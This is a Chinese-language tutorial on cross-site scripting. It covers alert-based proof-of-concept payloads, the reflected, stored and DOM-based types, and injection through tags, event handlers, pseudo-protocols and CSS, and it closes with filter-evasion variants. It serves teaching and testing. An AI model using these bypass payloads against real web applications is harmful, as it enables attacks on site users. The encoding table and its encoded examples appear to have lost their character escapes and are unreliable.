XSS -- 三種基本漏洞 (淺談)
一、 XSS 漏洞的驗證
我們可以用一段簡單的程式碼,驗證和檢測漏洞的存在,這樣的程式碼叫做PoC(Proof of Concept)。驗證XSS 漏洞存在的PoC 如下:
(1)<script>alert(/xss/)</script>
(2)<script>confirm('xss')</script>
(3)<script>prompt('xss')</script>
二、XSS分類
1. 反射型XSS
反射型XSS 是非永續性、引數型的跨站指令碼。反射型XSS 的JS 程式碼在Web 應用的引數(變數)中,如搜尋框的反射型XSS。在搜尋框中,提交PoC[<script>alert(/xss/)</script>],點選搜尋,即可觸發反射型XSS。 注意到,我們提交的poc 會出現在search.php 頁面的keywords 引數中。
2.儲存型XSS
儲存型XSS 是永續性跨站指令碼。永續性體現在XSS 程式碼不是在某個引數(變數)中,而是寫進資料庫或檔案等可以永久儲存資料的介質中。儲存型XSS 通常發生在留言板等地方。我們在留言板位置留言,將惡意程式碼寫進資料庫中。此時,我們只完成了第一步,將惡意程式碼寫入資料庫。因為XSS 使用的JS 程式碼,JS 程式碼的執行環境是瀏覽器,所以需要瀏覽器從伺服器載入惡意的XSS 程式碼,才能真正觸發XSS。此時,需要我們模擬網站後臺管理員的身份,檢視留言。
3.基於DOM的 XSS
DOM XSS 比較特殊。owasp 關於DOM 型號XSS 的定義是基於DOM 的XSS 是一種XSS 攻擊,其中攻擊的payload由於修改受害者瀏覽器頁面的DOM 樹而執行的。其特殊的地方就是payload 在瀏覽器本地修改DOM 樹而執行, 並不會傳到伺服器上,這也就使得DOM XSS 比較難以檢測。
三、 XSS的構造
1. 利用 [<>] 構造HTML/JS
在測試頁面 提交[<script>alert(/xss/)</script>]
2. 偽協議 ---- 可以使用javascript: 偽協議的方式構造XSS
(1)提交引數[<a href="javascript:alert(/xss/)">touch me!</a>],然後點選超連結,即可觸發XSS。
(2)也可以使用img 標籤的偽協議,但是這種方法在IE6 下測試成功。[<img src="javascript:alert('xss')">]。
3. 產生事件
(1) “事件驅動”是一種比較經典的程式設計思想。在網頁中會發生很多事件(比如滑鼠移動,鍵盤輸入等),JS 可以對這些事件進行響應。所以我們可以通過事件觸發JS 函式,觸發XSS。
(2)事件種類
windows 事件 對windows 物件觸發的事件
Form 事件 HTML 表單內的動作觸發事件
Keyboard 事件 鍵盤按鍵
Mouse 事件 由滑鼠或類似使用者動作觸發的事件
Media 事件 由多媒體觸發的事件
例如,
[<img src='./smile.jpg' onmouseover='alert(/xss/)'>]這個標籤會引入一個圖片,然後滑鼠懸停在圖片上的時候,會觸發XSS 程式碼。
單行文字框的鍵盤點選事件,[<input type="text" onkeydown="alert(/xss/)">],當點選鍵盤任意一個按鍵的時候出發。
4. 利用CSS 跨站
我們也可以利用CSS(層疊樣式指令碼)觸發XSS。但是這種方法比較古老,基本上不適合現在主流的瀏覽器,但是從學習的角度,我們需要了解這種型別的XSS。一下程式碼均在IE6 下測試。
(1)行內樣式
[<div style="background-image:url(javascript:alert(/xss/))">]
(2) 頁內樣式
[
<style>
div{
background-image:url(javascript:alert(/xss/))
}
</style>
<div>lalalla</div>
]
(3) 外部樣式
[
<link rel="stylesheet" type="text/css" href="http://172.18.1.131/xss.css">
<div>hello<div>
]
(4) expression
[<div style="width:expression(alert(/xss/))">]
(5) import
[
<style>@import 'javascript:alert("xss")';</style>
]
[<style type="text/css">@import url(xss.css);</style><div>AJEST</div>]
5. 其他標籤以及手法
我們也可以用其他標籤觸發XSS。
<svg onload="alert(/xss/)">
<input onfocus=alert(/xss/) autofocus>
四、XSS變形
我們可以構造的XSS 程式碼進行各種變形,以繞過XSS 過濾器的檢測。變形方式主要有以下幾種
1.大小寫轉換
可以將payload 進行大小寫轉化。如下面兩個例子。
<Img sRc='#' Onerror="alert(/xss/)" />
<a hREf="javaScript:alert(/xss/)">click me</a>
2. 引號的使用
HTML 語言中對引號的使用不敏感,但是某些過濾函式是“錙銖必較”。
(1)<img src="#" onerror="alert(/xss/)"/>
(2)<img src='#' onerror='alert(/xss/)'/>
(3)<img src=# onerror=alert(/xss/) />
3. [/]代替空格
可以利用左斜線代替空格
<Img/sRc='#'/Onerror='alert(/xss/)' />
4. tab 與回車
我們可以在一些位置新增Tab(水平製表符)和回車符,來繞過關鍵字檢測。
(1)<Img/sRc='#'/Onerror ='alert(/xss/)' />
(2)<A hREf="j avascript:alert(/xss/)">click me!</a>
<A hREf="j
avascript:alert(/xss/)">click me!</a>
5. 對標籤屬性值進行轉碼 ----- 可以對標籤屬性值進行轉碼,用來繞過過濾。
例
(1)對應編碼如下:
字母 ASCII 碼 十進位制編碼 十六進位制編碼
a 97 a a
e 101 e e
經過簡單編碼之後的樣子。
<A hREf="j avascript:alert(/xss/)">click me!</a>
(2) 我們可以將以下字元插入到任意位置
Tab 	
換行 

回車 
可以將以下字元插入到頭部位置
SOH 
STX 
經過編碼後的樣子。
<A hREf="javas	c r ipt:alert(/xss/)">
click me!
</a>
6. 拆分跨站
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>
<script>alert(/xss/)</script>